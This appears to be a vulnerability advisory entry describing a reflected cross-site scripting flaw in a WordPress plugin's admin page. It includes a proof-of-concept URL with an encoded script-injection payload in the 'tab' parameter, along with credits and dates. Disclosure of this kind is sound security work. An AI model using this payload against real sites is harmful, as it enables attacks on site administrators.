The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%281%29%3E (requires the Contact Form 7 plugin to be installed)
Krzysztof Zając
Krzysztof Zając
Yes
2022-01-03 (about 1 years ago)
2022-01-03 (about 1 years ago)
2022-04-12 (about 9 months ago)